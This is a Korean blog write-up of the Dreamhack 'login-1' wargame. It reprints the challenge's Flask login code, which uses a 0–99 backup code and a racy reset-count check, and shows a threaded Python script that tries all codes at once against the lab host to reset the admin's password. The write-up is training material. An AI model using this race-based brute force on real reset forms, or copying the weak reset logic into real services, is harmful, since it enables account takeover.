보안/Web

web) login-1

도리도치 2022. 6. 10. 19:30

https://dreamhack.io/wargame/challenges/47/

 

login-1

python으로 작성된 로그인 기능을 가진 서비스입니다. "admin" 권한을 가진 사용자로 로그인하여 플래그를 획득하세요. Reference Server-side Basic

dreamhack.io

문제 : python으로 작성된 로그인 기능을 가진 서비스입니다.

“admin” 권한을 가진 사용자로 로그인하여 플래그를 획득하세요.

 

로그인창과 register, forgot password 부분이 있어서 먼저 간단하게 guest guest 로그인 시도를 해보았다.

guest
guest 로그인 실패

당연히 로그인이 되지 않았다. 그래서 register를 누르고 guest guest로 회원가입을 해보았다.

backupcode

회원가입을 시도했더니 백업코드를 줬다. 그래서 백업코드를 써보기 위해 forgot password를 들어가봤다.

forgot password

그러니까 새롭게 비밀번호가 재설정 되고 새로운 백업코드를 줬다. 

방식이 백업코드로 재설정 할때마다 새로운 백업코드를 주는방식인것 같다.

그 다음 로그인 후 ID부분을 클릭해보니 유저 레벨이 나왔다.

#web login -1

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import sqlite3
import hashlib
import os
import time, random

app = Flask(__name__)
app.secret_key = os.urandom(32)

DATABASE = "database.db"

userLevel = {
    0 : 'guest',
    1 : 'admin'
}
MAXRESETCOUNT = 5

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

def makeBackupcode():
    return random.randrange(100)

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    db.row_factory = sqlite3.Row
    return db

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userid = request.form.get("userid")
        password = request.form.get("password")

        conn = get_db()
        cur = conn.cursor()
        user = cur.execute('SELECT * FROM user WHERE id = ? and pw = ?', (userid, hashlib.sha256(password.encode()).hexdigest() )).fetchone()
        
        if user:
            session['idx'] = user['idx']
            session['userid'] = user['id']
            session['name'] = user['name']
            session['level'] = userLevel[user['level']]
            return redirect(url_for('index'))

        return "<script>alert('Wrong id/pw');history.back(-1);</script>";

@app.route('/logout')
def logout():
    session.clear()
    return redirect(url_for('index'))

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'GET':
        return render_template('register.html')
    else:
        userid = request.form.get("userid")
        password = request.form.get("password")
        name = request.form.get("name")

        conn = get_db()
        cur = conn.cursor()
        user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
        if user:
            return "<script>alert('Already Exists userid.');history.back(-1);</script>";

        backupCode = makeBackupcode()
        sql = "INSERT INTO user(id, pw, name, level, backupCode) VALUES (?, ?, ?, ?, ?)"
        cur.execute(sql, (userid, hashlib.sha256(password.encode()).hexdigest(), name, 0, backupCode))
        conn.commit()
        return render_template("index.html", msg=f"<b>Register Success.</b><br/>Your BackupCode : {backupCode}")

@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
    if request.method == 'GET':
        return render_template('forgot.html')
    else:
        userid = request.form.get("userid")
        newpassword = request.form.get("newpassword")
        backupCode = request.form.get("backupCode", type=int)

        conn = get_db()
        cur = conn.cursor()
        user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
        if user:
            # security for brute force Attack.
            time.sleep(1)

            if user['resetCount'] == MAXRESETCOUNT:
                return "<script>alert('reset Count Exceed.');history.back(-1);</script>"
            
            if user['backupCode'] == backupCode:
                newbackupCode = makeBackupcode()
                updateSQL = "UPDATE user set pw = ?, backupCode = ?, resetCount = 0 where idx = ?"
                cur.execute(updateSQL, (hashlib.sha256(newpassword.encode()).hexdigest(), newbackupCode, str(user['idx'])))
                msg = f"<b>Password Change Success.</b><br/>New BackupCode : {newbackupCode}"

            else:
                updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?"
                cur.execute(updateSQL, (str(user['idx'])))
                msg = f"Wrong BackupCode !<br/><b>Left Count : </b> {(MAXRESETCOUNT-1)-user['resetCount']}"
            
            conn.commit()
            return render_template("index.html", msg=msg)

        return "<script>alert('User Not Found.');history.back(-1);</script>";


@app.route('/user/<int:useridx>')
def users(useridx):
    conn = get_db()
    cur = conn.cursor()
    user = cur.execute('SELECT * FROM user WHERE idx = ?;', [str(useridx)]).fetchone()
    
    if user:
        return render_template('user.html', user=user)

    return "<script>alert('User Not Found.');history.back(-1);</script>";

@app.route('/admin')
def admin():
    if session and (session['level'] == userLevel[1]):
        return FLAG

    return "Only Admin !"

app.run(host='0.0.0.0', port=8000)

코드를 살펴보니까 admin은 레벨이 1인것을 확인할 수 있었다. 그리고 url에 user/17인것을 확인하고 바꿔보았다.

user/16

user/16으로 바꿔보니 다른정보의 user id 와 user name과 level을 확인할 수 있었다. 그래서 user/1을 검색했더니

Apple

유저의 레벨이 1인것을 확인할 수 있었다. 그래서 로그인을 위해 백업코드를 알아야하는데 아무 값을 대입해보니까

Wrong BackupCode

약간의 텀이 발생하고 Left count가 줄어드는 것을 확인했다. 그래서 약간이 텀을 이용해서 한꺼번에 많은 백업코드를 대입해보려고 한다.

import threading, requests

url = "http://host2.dreamhack.games:16602/forgot_password"


def forgot(backupCode):
    data = {"userid": "Apple", "newpassword": "12345", "backupCode": backupCode}
    requests.post(url, data=data)
    print(f"{backupCode}번째 요청")


if __name__ == "__main__":
    threads = []
    for i in range(1, 100 + 1):
        t = threading.Thread(target=forgot, args=[i])
        t.start()
        threads.append(t)

    for thread in threads:
        thread.join()

    print("END")

Request

이렇게 해서 Apple의 비밀번호를 12345로 변경에 성공해서 플래그를 획득할 수 있었다.

FLAG